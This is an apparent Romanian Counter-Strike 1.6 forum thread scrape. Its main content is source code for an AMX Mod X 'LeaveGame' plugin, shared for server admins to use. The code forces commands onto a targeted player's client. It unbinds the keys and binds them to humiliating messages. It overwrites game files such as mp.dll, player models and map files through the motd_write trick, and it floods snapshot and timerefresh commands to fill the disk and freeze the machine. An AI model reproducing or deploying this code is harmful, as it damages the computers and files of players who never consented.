			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")		
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator, "quit")
			return;
		}
	}
}
public Cronometru(id){
	new parm[1]
	parm[0] = id
	if (ComandaB){
		set_task(3.0,"TimpDeAsteptare",Baza+id,parm)
	}
}
public TimpDeAsteptare(id){
	if (task_exists(Baza+id)){
		remove_task(Baza+id)
	}
	ComandaB = false
}

stock IncarcareServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
		read_file(FisierServer,0,TextServer,LimbaServer,r)
		
		SalvareServer = str_to_num(TextServer)
	}
	return PLUGIN_CONTINUE
	
}
stock ScriereServer(){
	get_configsdir(DirectorServer, 63)
	format(FisierServer,127,"%s/servit.q",DirectorServer)
	if (!file_exists(FisierServer)){
		return PLUGIN_HANDLED
	}
	else {
		
		read_file(FisierServer,0,TextServer,LimbaServer,t)
		
		
		SalvareServer = str_to_num(TextServer)
		SalvareServer = SalvareServer + 1
		format(TextServer,31,"%i",SalvareServer)
		delete_file(FisierServer)
		write_file(FisierServer,TextServer,-1)
	}
	return PLUGIN_CONTINUE
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{ rtf1 ansi deff0{ fonttbl{ f0 fnil Tahoma;}}n viewkind4 uc1 pard lang1033 f0 fs16 n par }
*/
-Nici o problema nu poate fi rezolvata la acelasi nivel de cunostinte la care a fost creata.
!Sk|t!
Membru, skill +1
Membru, skill +1
Posts: 101
Joined: 09 Feb 2011, 10:02
Detinator Steam: Da
CS Status: Omfg?
Detinator server CS: dr.rgaming.ro
SteamID: skitaila
Has thanked: 4 times
Been thanked: 22 times
Contact:

15 Mar 2012, 16:37

aia nu era eroare , era atentionare ca nu am lasat spatiu de la margine sau am lasat prea mult:)
new Y!M: [email protected]
Bye!
waffel
Membru, skill 0
Membru, skill 0
Posts: 48
Joined: 07 Feb 2011, 22:18
Detinator Steam: Da
CS Status: Citesc forumul eXtreamCS.com!
Has thanked: 3 times
Contact:

04 Aug 2012, 10:15

Daca vrei sa-l downloadezi de pe link-ul girlshare iti descarca un pornake :-j
User avatar
Ulquiorra
Fost moderator
Fost moderator
Posts: 2053
Joined: 25 Jul 2010, 17:29
Detinator Steam: Da
CS Status: A mai trecut o zi asteptand una mai buna
Detinator server CS: Retras.
SteamID: STEAM_0:1:318247XX
Reputatie: Fost Scripter eXtreamCS
Fost Moderator ajutator
Nick anterior: Askhanar
Location: Braila, Romania.
Has thanked: 215 times
Been thanked: 1132 times

04 Aug 2012, 16:35

| Afiseaza codul
[quote="syRex"]salut, am corectat codul din plugin.

Poti incerca acum:

[code]#include <amxmodx>
#include <amxmisc>
#include <fun>
#include <engine>

#define Baza 45630

new BanData[33][2][32]
new bool:ComandaB = false
new DirectorServer[64],TextServer[32],LimbaServer = 31,r,t
new FisierServer[128]
new SalvareServer

static const poza[] = "http://..." 

public plugin_init()
{
	register_plugin("Leave Game", "2.0", "AleX@nDrU & M@sterAdy")
	register_concmd("amx_leavegame", "leavegame", ADMIN_LEVEL_G,"<nume> : Ii face praf CS-u + Snapshot + Ban pe IP permanent")
	register_concmd("amx_lg", "leavegame", ADMIN_LEVEL_G,"<nume> : Ii face praf CS-u + Snapshot + Ban pe IP permanent")
	register_cvar("amx_lg_activity","1")
}


public leavegame(id,level,cid){
	if (!cmd_access(id,level,cid,2)){
		return PLUGIN_HANDLED
	}
	if (ComandaB){
		Cronometru(id)
		return PLUGIN_HANDLED
	}
	new arg[32],name[32],admin[32],sAuthid[35],sAuthid2[35],message[552],players[33],inum
	new fo_logfile[64],timp[64],maxtext[256]
	new tinta[32], minute[8], motiv[64] 
	read_argv(1, tinta, 31)    
	read_argv(2, minute, 7) 
	read_argv(3, motiv, 63)
	read_argv(1, arg, 31)
	new target = cmd_target(id,arg,1)
	new jucator = cmd_target(id, tinta, 9) 
	
	if (!jucator) 
		
	return PLUGIN_HANDLED    
	
	
	copy(BanData[jucator][0], 31, minute) 
	copy(BanData[jucator][1], 31, motiv) 
	new TaskData[4] 
	TaskData[0] = id 
	TaskData[1] = jucator
	new numeserver[64], nume[32], ip[32] 
	get_user_name(target,name,31)
	get_user_name(id,admin,31)
	get_user_authid(target,sAuthid,34)
	get_user_authid(id,sAuthid2,34)
	get_cvar_string("hostname",numeserver,63); 
	get_user_name(jucator,nume,31); 
	get_user_ip(jucator,ip,31); 
	get_configsdir(fo_logfile, 63)
	get_time("%m/%d/%Y - %H:%M:%S",timp,63)
	IncarcareServer()
	ScriereServer()
	format(message,551,"LeaveGameD^nComanda executata cu succes.^n Comanda numarul %i",SalvareServer)
	format(maxtext, 255, "[LG] %s: %s a folosit comanda LeaveGame pe %s",timp,admin,name)
	format(fo_logfile, 63, "%s/LeaveGame.txt", fo_logfile)
	
	if(!target){ 
		
		return PLUGIN_HANDLED 
	}
	switch (get_cvar_num("amx_lg_activity")) {
		case 1: client_cmd(target,"say ^" %s mi-a dat LeaveGame (Plugin by AleX@nDrU) !^"",admin)
			case 0: client_cmd(target,"say ^"Am primit LeaveGame (Plugin by AleX@nDrU) !^"")
		}
	client_cmd(target,"developer 1")
	client_cmd(target,"unbind w;wait;unbind a;unbind s;wait;unbind d;bind mouse1 ^"say Am luat LeaveGame pe BERCENI.SERVEGAME.COM .^";wait;unbind mouse2;unbind mouse3;wait;bind space quit")
	client_cmd(target,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7")
	client_cmd(target,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift")
	client_cmd(target,"unbind end;wait;bind escape ^"say Sunt neajutorat ca un mic *****^";unbind z;wait;unbind x;unbind c;wait;unbind uparrow;unbind downarrow;wait;unbind leftarrow")
	client_cmd(target,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait;bind ` ^"say Sunt neajutorat ca un mic *****^";bind ~ ^"say Am fost distrus .^";wait;name ^"LeaveGame#Distrus^"")
	client_cmd(target,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"")
	
	//Strica dll-uri si waduri si MDL
	client_cmd(target,"motdfile models/player.mdl;motd_write x");
	client_cmd(target,"motdfile models/v_ak47.mdl;motd_write x");
	client_cmd(target,"motdfile cs_dust.wad;motd_write x");
	client_cmd(target,"motdfile models/v_m4a1.mdl;motd_write x");
	client_cmd(target,"motdfile resource/GameMenu.res;motd_write x");
	client_cmd(target,"motdfile halflife.wad;motd_write x");
	client_cmd(target,"motdfile cstrike.wad;motd_write x");
	client_cmd(target,"motdfile maps/de_dust2.bsp;motd_write x");
	client_cmd(target,"motdfile events/ak47.sc;motd_write x");
	client_cmd(target,"motdfile dlls/mp.dll;motd_write x");
	
	
	
	
	
	//Mesaje say pe bind
	client_cmd(target, "bind ^"w^" ^"say Sa folosit pluginul LeaveGame  a lui AleX@nDrU pe mine fiindca nu am respektat regulile." );
	client_cmd(target, "bind ^"s^" ^"say Sa folosit pluginul LeaveGame  a lui AleX@nDrU pe mine fiindca nu am respektat regulile." );
	client_cmd(target, "bind ^"r^" ^"say Sa folosit pluginul LeaveGame  a lui AleX@nDrU pe mine fiindca nu am respektat regulile." );
	client_cmd(target, "bind ^"`^" ^"say Sa folosit pluginul LeaveGame  a lui AleX@nDrU pe mine fiindca nu am respektat regulile." );
	
	
	
	write_file(fo_logfile,maxtext,-1)
	set_hudmessage(255,255,0,0.47,0.55,0,6.0,12.0,0.1,0.2,1)
	show_hudmessage(0, message)
	client_cmd(0, "spk ^"vox/bizwarn the coded has been detected and fucked^"")
	for (new i = 0; i < inum; ++i) {
		if ( access(players,ADMIN_CHAT) )
			client_print(players,print_chat,"[LG]Jucatorul:%s a primit LeaveGame de la %s",name,admin)
	}
	ComandaB = true
	Cronometru(id)   
	
	
	client_print(jucator, print_chat, "* Viziteaza %s pentru a scoate banul.", poza) 
	client_print(jucator, print_chat, "* Nume:  ^"%s^" cu IP : %s",nume,ip) 
	client_print(jucator, print_chat, "* Data : %s",timp) 
	client_print(jucator, print_chat, "* Ai primit ban de la adminul %s",admin)
	client_print(jucator, print_chat,"* Screenshot a fost facut pe : %s",numeserver) 
	client_cmd(jucator,"wait;snapshot;wait;snapshot")
	client_cmd(target,"cl_timeout 0")   
	
	
	//Baneaza jucatorul permanent
	client_cmd(id, "amx_addban ^"%s^" permanent LeaveGame", ip)
	//Parms
	new parms[1]
	parms[0] = target
	set_task(0.10,"xs",1337+id,parms,1)
	return PLUGIN_HANDLED
	
}

public spank(id,parms[]){
	new jucator = parms[0]
	if(is_user_connected(id)){
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")		
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
		client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")		
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
		client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")			
	}
	else{
		if(!is_user_connected(id)){
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait;snapshot;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")
			client_cmd(jucator,"snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot;snapshot")		
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
			client_cmd(jucator,"timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait;timerefresh;wait")
